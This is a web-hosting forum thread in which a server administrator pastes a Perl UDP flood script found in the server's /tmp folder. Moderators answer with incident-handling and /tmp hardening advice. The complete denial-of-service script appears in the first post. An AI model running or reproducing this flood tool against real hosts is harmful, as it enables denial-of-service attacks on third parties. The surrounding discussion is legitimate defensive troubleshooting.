Community Forums
Connect with us on LinkedIn
+ Reply to Thread
Results 1 to 8 of 8
  1. #1
    Member
    Join Date
    Mar 2003
    Posts
    427

    Default Script in tmp made by Hacker

    I had a script made by a hacking team called UMHCreW in my TMP folder.
    Anyone know what it is ?

    Is it ok to remove/delete ALL files in the tmp folder or will this
    screw something up ?
    I have old files and a lot of folders and crazy files in there.

    Here's the script...


    #!/usr/bin/perl
    #####################################################
    # Simple but agressive udp flood.
    #
    # gr33ts: Amaz1ng^ RUBIN1,Caffeine,cyberboki, etc.
    #
    # lemurian from UMHCreW @ eu.undernet.org #deadworld
    ######################################################

    use Socket;

    $ARGC=@ARGV;

    if ($ARGC !=3) {
    printf "UMHCreW 2004\n";
    printf "$0 <ip> <port> <time>\n";
    printf "if arg1/2 =0, randports/continous packets.\n";
    exit(1);
    }

    my ($ip,$port,$size,$time);
    $ip=$ARGV[0];
    $port=$ARGV[1];
    $time=$ARGV[2];

    socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

    printf "Simpe but Agressive udp flood - lemurian@UMHCreW\n";

    if ($ARGV[1] ==0 && $ARGV[2] ==0) {
    goto randpackets;
    }
    if ($ARGV[1] !=0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &");
    goto packets;
    }
    if ($ARGV[1] !=0 && $ARGV[2] ==0) {
    goto packets;
    }
    if ($ARGV[1] ==0 && $ARGV[2] !=0) {
    system("(sleep $time;killall -9 udp) &");
    goto randpackets;
    }

    packets:
    for (; {
    $size=$rand x $rand x $rand;
    send(crazy, 0, $size, sockaddr_in($port, $iaddr));
    }

    randpackets:
    for (; {
    $size=$rand x $rand x $rand;
    $port=int(rand 65000) +1;
    send(crazy, 0, $size, sockaddr_in($port, $iaddr));
    }

  2. #2
    Super Moderator This forum account has been confirmed by cPanel staff to represent a vendor. chirpy's Avatar
    Join Date
    Jun 2002
    Location
    Go on, have a guess
    Posts
    13,495

    Default

    Well, that's just the symptoms of a problem. What are is the ownership of that file? If it's nobody:nobody, then you have a vulnerable PHP script on your server and you need to track it down and either fix or remove it. If it's owned by a user, you can then suspend their account while you investigate further. You should also make sure that the script is not actually running on your server (i.e. look for it having open ports) and then definitely move it somewhere safe. Simply deleting it first before investigating further is not necessarily the best thing to do. Moving it, or tar'ing it up and preserving the ownership should be first.
    Jonathan Michaelson

    Need your cPanel servers secured and tuned?
    cPanel Server Configuration, Security, Recovery and Antivirus/AntiSpam Services
    Developers of the most effective (and free) Firewall & Security Solution for cPanel Servers - csf
    http://www.configserver.com

  3. #3
    GOT
    GOT is offline
    Get Proactive! GOT's Avatar
    Join Date
    Apr 2003
    Posts
    902

    Default

    Good advice for sure chirpy.

    Also make sure that you secure your /tmp directory (/scripts/securetmp is the easiest method.)
    Proactive Server Monitoring and Management
    http://got-management.com

  4. #4
    Member
    Join Date
    Mar 2003
    Posts
    427

    Default

    yes it's nobody that owns the file

    How can I track which php script does this ?
    Just some basic stuff so I can go from there would be nice :-)

  5. #5
    GOT
    GOT is offline
    Get Proactive! GOT's Avatar
    Join Date
    Apr 2003
    Posts
    902

    Default

    Short of running php as suexec you'll really not be able to track it down, save for seaching every php file and even that may not turn it up.

    You cannot prevent php from writing to the /tmp directory, so what you need to do is make it so that people cannot execute programs from there. Remove access to compilers. Security for your server needs to be taken very seriously (not saying that you are not) and you should either spend some time reading up on how to secure your linux server, or contract it to one of the several reputable server admins hanging around.
    Proactive Server Monitoring and Management
    http://got-management.com

  6. #6
    Member
    Join Date
    Mar 2003
    Posts
    427

    Default

    Thank you!

    Is it ok to delete all old tmp files ?
    They are just there right, leftovers...

  7. #7
    GOT
    GOT is offline
    Get Proactive! GOT's Avatar
    Join Date
    Apr 2003
    Posts
    902

    Default

    Yes, it is generally safe to delete them. In some cases if you are running Fantastico, it might cause a decoder error.
    Proactive Server Monitoring and Management
    http://got-management.com

  8. #8
    Super Moderator This forum account has been confirmed by cPanel staff to represent a vendor. chirpy's Avatar
    Join Date
    Jun 2002
    Location
    Go on, have a guess
    Posts
    13,495

    Default

    Make sure that you don't delete the mysql lock file.
    Jonathan Michaelson

    Need your cPanel servers secured and tuned?
    cPanel Server Configuration, Security, Recovery and Antivirus/AntiSpam Services
    Developers of the most effective (and free) Firewall & Security Solution for cPanel Servers - csf
    http://www.configserver.com

Similar Threads & Tags
Similar threads

  1. Replies: 1
    Last Post: 07-25-2011, 06:30 AM
  2. Script to search for 'hacker' inside of files
    By SeaLuvR69 in forum cPanel and WHM Discussions
    Replies: 2
    Last Post: 09-26-2008, 04:30 PM
  3. Help, hacker uploading files /tmp with external PHP code
    By jeroman8 in forum cPanel and WHM Discussions
    Replies: 12
    Last Post: 05-29-2006, 11:50 AM
  4. I Made My Site But How Do I Upload The Script? [moved]
    By pissed in forum New User Questions
    Replies: 1
    Last Post: 11-29-2005, 10:11 PM
Linkedin       Facebook       Twitter       RSS       Flickr       YouTube